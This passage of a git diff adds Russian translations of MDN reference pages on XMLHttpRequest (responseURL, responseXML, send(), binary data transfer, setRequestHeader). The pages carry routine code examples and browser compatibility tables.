+<p>Свойство <code><strong>XMLHttpRequest.responseURL</strong></code> доступно только для чтения, возвращает сериализованный URL ответа или пустую строку,  если URL равен <code>null</code>. Если URL возвращен, любой URL фрагмент в URL будет стерт. Значение <code>responseURL</code> станет окончательным URL, получаемым после любых редиректов.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/test', true);
+xhr.onload = function () {
+  console.log(xhr.responseURL); // http://example.com/test
+};
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responseurl-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.responseURL")}}</p>
diff --git a/files/ru/web/api/xmlhttprequest/responsexml/index.html b/files/ru/web/api/xmlhttprequest/responsexml/index.html
new file mode 100644
index 0000000000..950d731c0d
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/responsexml/index.html
@@ -0,0 +1,142 @@
+---
+title: XMLHttpRequest.responseXML
+slug: Web/API/XMLHttpRequest/responseXML
+tags:
+  - AJAX
+  - API
+  - XMLHttpRequest
+  - Отправка
+  - Свойство
+  - Справка
+  - Только для чтения
+  - загрузка
+translation_of: Web/API/XMLHttpRequest/responseXML
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font><strong>XMLHttpRequest.responseXML</strong></code> это доступное только для чтения значение, которое содержит {{domxref("Document")}} содержащий HTML или XML полученный запросом, или <code>null</code> в случае, если запрос не был успешен, ещё не был отправлен или полученные данные не могут быть корректно обработаны как XML или HTML. Ответ обрабатывается так, как если бы это был <code>"text/xml"</code>. В случае, если {{domxref("XMLHttpRequest.responseType", "responseType")}} установлен как <code>"document"</code> и запрос был осуществлён асинхронно, ответ обрабатывается как <code>"text/html"</code>. <code>responseXML</code> содержит <code>null</code> для любых других типов данных так же, как и для <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URLs</a>.</p>
+
+<div class="note">
+<p>Название <code>responseXML</code> это наследие истории этого свойства, на самом деле оно работает как для HTML, так и для XML.</p>
+</div>
+
+<p>Если сервер не определяет заголовок {{HTTPHeader("Content-Type")}} как <code>"text/xml"</code> или <code>"application/xml"</code>, вы в любом случае можете использовать {{domxref("XMLHttpRequest.overrideMimeType()")}} чтобы заставить <code>XMLHttpRequest</code> обрабатывать ответ как XML.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>data</em> = <em>XMLHttpRequest</em>.responseXML;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("Document")}} содержащий древовидный результат обработки XML или HTML, полученных с использованием {{domxref("XMLHttpRequest")}}, или <code>null</code>, если данные не были получены или содержат другой тип данных.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>{{domxref("XMLHttpRequest.responseType", "responseType")}} не является <code>"document"</code> или пустой строкой (каждый из которых указывает, что принятые данные это XML или HTML).</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// Значение responseType, если указано, должно быть пустой строкой или "document"
+xhr.responseType = 'document';
+
+// overrideMimeType() может быть использован, чтобы заставить ответ обрабатываться как XML
+xhr.overrideMimeType('text/xml');
+
+xhr.onload = function () {
+  if (xhr.readyState === xhr.DONE) {
+    if (xhr.status === 200) {
+      console.log(xhr.response);
+      console.log(xhr.responseXML);
+    }
+  }
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responsexml-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)<sup>[1]</sup></th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  До Firefox 51, обработка ошибок полученных данных добавляла узел <code>&lt;parsererror&gt;</code> в верх {{domxref("Document")}} и затем возвращала <code>Document</code> в каком бы состоянии он ни оказывался. Это было расхождение со спецификацией. Начиная с Firefox 51 сейчас в этом случае возвращается <code>null,</code> как и указано в спецификации.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{domxref("XMLHttpRequest.response")}}</li>
+ <li>{{domxref("XMLHttpRequest.responseType")}}</li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/send/index.html b/files/ru/web/api/xmlhttprequest/send/index.html
new file mode 100644
index 0000000000..4ad9a4cd9e
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/send/index.html
@@ -0,0 +1,291 @@
+---
+title: XMLHttpRequest.send()
+slug: Web/API/XMLHttpRequest/send
+tags:
+  - AJAX
+  - API
+  - HTTP запрос
+  - XHR
+  - XHR запрос
+  - XMLHttpRequest
+  - send
+  - запрос
+translation_of: Web/API/XMLHttpRequest/send
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <code><strong>XMLHttpRequest.send()</strong></code> отправляет запрос. Если запрос асинхронный (каким он является по-умолчанию), то возврат из данного метода происходит сразу после отправления запроса. Если запрос синхронный, то метод возвращает управление только после получения ответа. Метод <code>send()</code> принимает необязательные аргументы в тело запросов. Если метод запроса <code>GET</code> или <code>HEAD</code>, то аргументы игнорируются и тело запроса устанавливается в null.</p>
+
+<p>Если заголовок {{HTTPHeader("Accept")}} не был задан с помощью {{domxref("XMLHttpRequest.setRequestHeader", "setRequestHeader()")}}, будет отправлено значение <code>Accept</code> по-умолчанию <code>*/*</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">XMLHttpRequest.send(<em>body</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>
+ <p><em>body</em> {{optional_inline}}</p>
+ </dt>
+ <dd>
+ <p>Данные из параметра body оправляются в запросе через XHR. Это могут быть:</p>
+
+ <ul>
+  <li>{{domxref("Document")}}, и в этом случае данные будут сериализованы перед отправкой.</li>
+  <li><code>BodyInit</code>, которые, согласно спецификации <a href="https://fetch.spec.whatwg.org/#bodyinit">Fetch </a>могут быть: {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("ReadableStream")}}, или объектом {{domxref("USVString")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Лучший способ передать двоичные данные (например при загрузке файлов) - это использование <a href="/en-US/docs/Web/API/ArrayBufferView">ArrayBufferView</a> или <a href="/en-US/docs/Web/API/Blob">Blobs</a> в сочетании с методом<code>send()</code>.</p>
+
+<p>Если никакого значения не определено в качестве <em>body</em>, то будет использовано значение по-умолчанию: <code>null</code>.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Исключение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td><code>send()</code> уже был вызван для запроса, и/или запрос завершен.</td>
+  </tr>
+  <tr>
+   <td><code>NetworkError</code></td>
+   <td>Тип запрошенного ресурса - Blob, но метод запроса не <code>GET</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+
+
+<h2 id="Пример_GET">Пример: GET</h2>
+
+<pre><code>var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.onload = function () {
+  // Запрос завершен. Здесь можно обрабатывать результат.
+};
+
+xhr.send(null);
+// xhr.send('string');
+</code>// <code>xhr.send(new Blob());
+// xhr.send(new Int8Array());
+// xhr.send({ form: 'data' });
+// xhr.send(document);</code>
+</pre>
+
+<h2 id="Пример_POST">Пример: POST</h2>
+
+<pre><code>var xhr = new XMLHttpRequest();
+xhr.open("POST", '/server', true);
+
+//Передает правильный заголовок в запросе
+xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+
+xhr.onreadystatechange = function() {//Вызывает функцию при смене состояния.
+    if(xhr.readyState == XMLHttpRequest.DONE &amp;&amp; xhr.status == 200) {
+        // Запрос завершен. Здесь можно обрабатывать результат.
+    }
+}
+xhr.send("foo=bar&amp;lorem=ipsum");
+// xhr.send('string');
+</code>// <code>xhr.send(new Blob());
+// xhr.send(new Int8Array());
+// xhr.send({ form: 'data' });
+// xhr.send(document);</code>
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-send()-method', 'send()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatIe('5')}}<sup>[1]</sup><br>
+    {{CompatIe('7')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('1.2')}}</td>
+  </tr>
+  <tr>
+   <td><code>send(ArrayBuffer)</code></td>
+   <td>{{CompatChrome(9)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatIe('10')}}</td>
+   <td>{{CompatOpera('11.60')}}</td>
+   <td>{{compatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(ArrayBufferView)</code></td>
+   <td>{{CompatChrome(22)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("20.0")}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(Blob)</code></td>
+   <td>{{CompatChrome(7)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatIe('10')}}</td>
+   <td>{{CompatOpera('12')}}</td>
+   <td>{{compatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(FormData)</code></td>
+   <td>{{CompatChrome(6)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIe('10')}}</td>
+   <td>{{CompatOpera('12')}}</td>
+   <td>{{compatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(URLSearchParams)</code></td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(ArrayBuffer)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(ArrayBufferView)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(Blob)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(FormData)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(URLSearchParams)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Возможность реализуется с помощью <code>ActiveXObject()</code>. Начиная с версии 7 Internet Explorer реализует стандарт <code>XMLHttpRequest</code>.</p>
+
+
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
new file mode 100644
index 0000000000..9cc9ae0a35
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
@@ -0,0 +1,171 @@
+---
+title: Отправка и получение бинарных данных
+slug: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data
+translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data
+---
+<h2 id="Receiving_binary_data_using_JavaScript_typed_arrays" name="Receiving_binary_data_using_JavaScript_typed_arrays">Получение бинарных данных используя JavaScript arrays </h2>
+
+<p>Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершен или не был успешным.</p>
+
+<p>В этом примере изображение считывается как двоичный файл и создается 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится <a href="https://github.com/devongovett/png.js/">библиотека декодирования png</a>.</p>
+
+<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "arraybuffer";
+
+oReq.onload = function (oEvent) {
+  var arrayBuffer = oReq.response; // Note: not oReq.responseText
+  if (arrayBuffer) {
+    var byteArray = new Uint8Array(arrayBuffer);
+    for (var i = 0; i &lt; byteArray.byteLength; i++) {
+      // do something with each byte in the array
+    }
+  }
+};
+
+oReq.send(null);
+</pre>
+
+<p>Альтернатива вышеуказанному методу использует интерфейс {{domxref("Blob")}} для непосредственного построения Blob с данными arraybuffer.</p>
+
+<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "arraybuffer";
+
+oReq.onload = function(oEvent) {
+  var blob = new Blob([oReq.response], {type: "image/png"});
+  // ...
+};
+
+oReq.send();
+</pre>
+
+<p>Также вы можете прочитать двоичный файл как {{domxref ("Blob")}}, установив строку" blob " в свойство responseType.</p>
+
+<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "blob";
+
+oReq.onload = function(oEvent) {
+  var blob = oReq.response;
+  // ...
+};
+
+oReq.send();</pre>
+
+<h2 id="Receiving_binary_data_in_older_browsers" name="Receiving_binary_data_in_older_browsers">Получение бинарных данных в старых браузерах</h2>
+
+<p>Функция load_binary_resource(), показанная ниже, загружает двоичные данные из указанного URL, возвращая их вызывающему объекту.</p>
+
+<pre class="brush: js notranslate">function load_binary_resource(url) {
+  var req = new XMLHttpRequest();
+  req.open('GET', url, false);
+  //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
+  req.overrideMimeType('text\/plain; charset=x-user-defined');
+  req.send(null);
+  if (req.status != 200) return '';
+  return req.responseText;
+}
+</pre>
+
+<p>Магия происходит в строке 5, которая переопределяет тип MIME, заставляя браузер рассматривать его как обычный текст, используя пользовательский набор символов. Это говорит браузеру не анализировать его и пропускать байты через необработанные.</p>
+
+<pre class="brush: js notranslate">var filestream = load_binary_resource(url);
+var abyte = filestream.charCodeAt(x) &amp; 0xff; // throw away high-order byte (f7)
+</pre>
+
+<p>The example above fetches the byte at offset <code>x</code> within the loaded binary data. The valid range for <code>x</code> is from 0 to <code>filestream.length-1</code>.</p>
+
+<p>See <a href="http://web.archive.org/web/20071103070418/http://mgran.blogspot.com/2006/08/downloading-binary-streams-with.html">downloading binary streams with XMLHttpRequest</a> for a detailed explanation. See also <a href="/en-US/docs/Code_snippets/Downloading_Files" title="Code_snippets/Downloading_Files">downloading files</a>.</p>
+
+<h2 id="Получение_бинарных_данных_из_различных_источников">Получение бинарных данных из различных источников</h2>
+
+<p>Библиотека <a href="https://github.com/jDataView/jBinary">jBinary</a> для работы с бинарными данными в JavaScript позволяет загрузить данные из любого источника, автоматически определяя лучший способ для этого в текущем броузере или Node.js:</p>
+
+<pre class="brush: js notranslate">jBinary.load(url).then(function (binary) {
+  // здесь аргумент `binary` может использовться для обработки данных
+  // в любом формате (строка, массив байтов, структура данных и т. д.)
+});
+</pre>
+
+<h2 id="Sending_binary_data" name="Sending_binary_data">Отправка бинарных данных</h2>
+
+<p>Метод <code>send</code> объекта XMLHttpRequest был расширен, чтобы обеспечить легкую передачу бинарных данных - теперь он принимает объекты <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a>, {{domxref("Blob")}}, или {{domxref("File")}}.</p>
+
+<p>В примере ниже на лету создается текстовый файл и отпрвляется методом <code>POST</code> на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.</p>
+
+<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("POST", url, true);
+oReq.onload = function (oEvent) {
+  // Uploaded.
+};
+
+var blob = new Blob(['abc123'], {type: 'text/plain'});
+
+oReq.send(blob);
+</pre>
+
+<h2 id="Sending_typed_arrays_as_binary_data" name="Sending_typed_arrays_as_binary_data">Отправка типизированнх массивов как бинарных данных</h2>
+
+<p>Точно так же можно отправлять типизированные массивы JavaScript.</p>
+
+<pre class="brush: js notranslate">var myArray = new ArrayBuffer(512);
+var longInt8View = new Uint8Array(myArray);
+
+for (var i=0; i&lt; longInt8View.length; i++) {
+  longInt8View[i] = i % 255;
+}
+
+var xhr = new XMLHttpRequest;
+xhr.open("POST", url, false);
+xhr.send(myArray);
+</pre>
+
+<p>Здесь создается и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.</p>
+
+<div class="note"><strong>Примечание:</strong> Поддержка передачи объектов <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a> с помощью XMLHttpRequest появилась в Gecko 9.0 {{geckoRelease("9.0")}}. <strong>Add information about other browsers' support here.</strong></div>
+
+<h2 id="Submitting_forms_and_uploading_files" name="Submitting_forms_and_uploading_files">Отправка форм и загрузка файлов</h2>
+
+<p>См. <a href="/ru/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">этот параграф</a>.</p>
+
+<h2 id="Firefox-specific_examples" name="Firefox-specific_examples">Примеры для Firefox</h2>
+
+<p>В этом примере двоичные данные передаются асинхронно методом <code>POST</code> и нестандартным методом Firefox's <code>sendAsBinary()</code>.</p>
+
+<pre class="brush: js notranslate">var req = new XMLHttpRequest();
+req.open("POST", url, true);
+// установите заголовок и тип данных
+req.setRequestHeader("Content-Length", 741);
+req.sendAsBinary(aBody);
+</pre>
+
+<p>В строке 4 заголовок Content-Length устанавливается в 741, что означает, что размер данных 741 байт. Разумеется, это значение должно соотвествовать реальному размеру данных.</p>
+
+<p>В строке 5 метод <code>sendAsBinary()</code> начинает запрос.</p>
+
+<div class="note"><strong>Примечание:</strong> Нестандартный метод <code>sendAsBinary</code> начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удален. Вместо него, как показывалось выше, можно использовать стандартный метод <code>send(Blob data)</code>.</div>
+
+<p>Кроме того, чтобы отправить бинарные данные можно передать экземплят {{interface("nsIFileInputStream")}} в метод <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a>. В этом случае заголовок <code>Content-Length</code> заполнять явно необязательно, поскольку информация получается из потока автоматически:</p>
+
+<pre class="brush: js notranslate">// Создание потока из файла.
+var stream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                       .createInstance(Components.interfaces.nsIFileInputStream);
+stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsIFile instance
+
+// Попытка опредедения типа MIME для файла
+var mimeType = "text\/plain";
+try {
+  var mimeService = Components.classes["@mozilla.org/mime;1"]
+          .getService(Components.interfaces.nsIMIMEService);
+  mimeType = mimeService.getTypeFromFile(file); // file is an nsIFile instance
+}
+catch (oEvent) { /* в случае ошибки просто использовать text/plain */ }
+
+// Отправка
+var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+                    .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.open('PUT', url, false); /* синхронный вызов! */
+req.setRequestHeader('Content-Type', mimeType);
+req.send(stream);
+</pre>
diff --git a/files/ru/web/api/xmlhttprequest/setrequestheader/index.html b/files/ru/web/api/xmlhttprequest/setrequestheader/index.html
new file mode 100644
index 0000000000..24951fda1c
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/setrequestheader/index.html
@@ -0,0 +1,110 @@
+---
+title: XMLHttpRequest.setRequestHeader()
+slug: Web/API/XMLHttpRequest/setRequestHeader
+translation_of: Web/API/XMLHttpRequest/setRequestHeader
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <strong>XMLHttpRequest.setRequestHeader()</strong> устанавливает значения HTTP заголовков. Метод <code>setRequestHeader()</code>  следует вызывать только после  <code>open()</code>, но до <code>send()</code>. Если метод вызывается несколько раз подряд, значения присоединяется к одному и тому же заголовку.</p>
+
+<p>Если заголовок {{HTTPHeader("Accept")}} не был установлен, то он будет передан в запросе со значением <code>*/*</code> когда будет вызван метод {{domxref("XMLHttpRequest.send", "send()")}}.</p>
+
+<p>В целях безопасности, некоторые заголовки не могут быть установлены программно. Для более подробной информации, смотрите {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  и {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.</p>
+
+<div class="note">
+<p>Для ваших собственных полей, вы можете увидеть исключение "<strong>not allowed by Access-Control-Allow-Headers in preflight response</strong>", когда вы делаете кросс-доменный запрос. В этом случае, вам нужно установить заголовок "Access-Control-Allow-Headers" в ответе на стороне сервера.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">XMLHttpRequest.setRequestHeader(<var>header</var>, <var>value</var>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>Имя устанавливаемого заголовка</dd>
+ <dt><code>value</code></dt>
+ <dd>Значение, которое будет установлено как тело заголовка</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-setRequestHeader()-method', 'setRequestHeader()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatIe('5')}}<sup>[1]</sup><br>
+    {{CompatIe('7')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('1.2')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Эта особенность была реализована через ActiveXObject(). Internet Explorer реализует стандарт XMLHttpRequest начиная с версии 7.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></p>
diff --git a/files/ru/web/api/xmlhttprequest/status/index.html b/files/ru/web/api/xmlhttprequest/status/index.html
new file mode 100644
index 0000000000..be8763b829
--- /dev/null
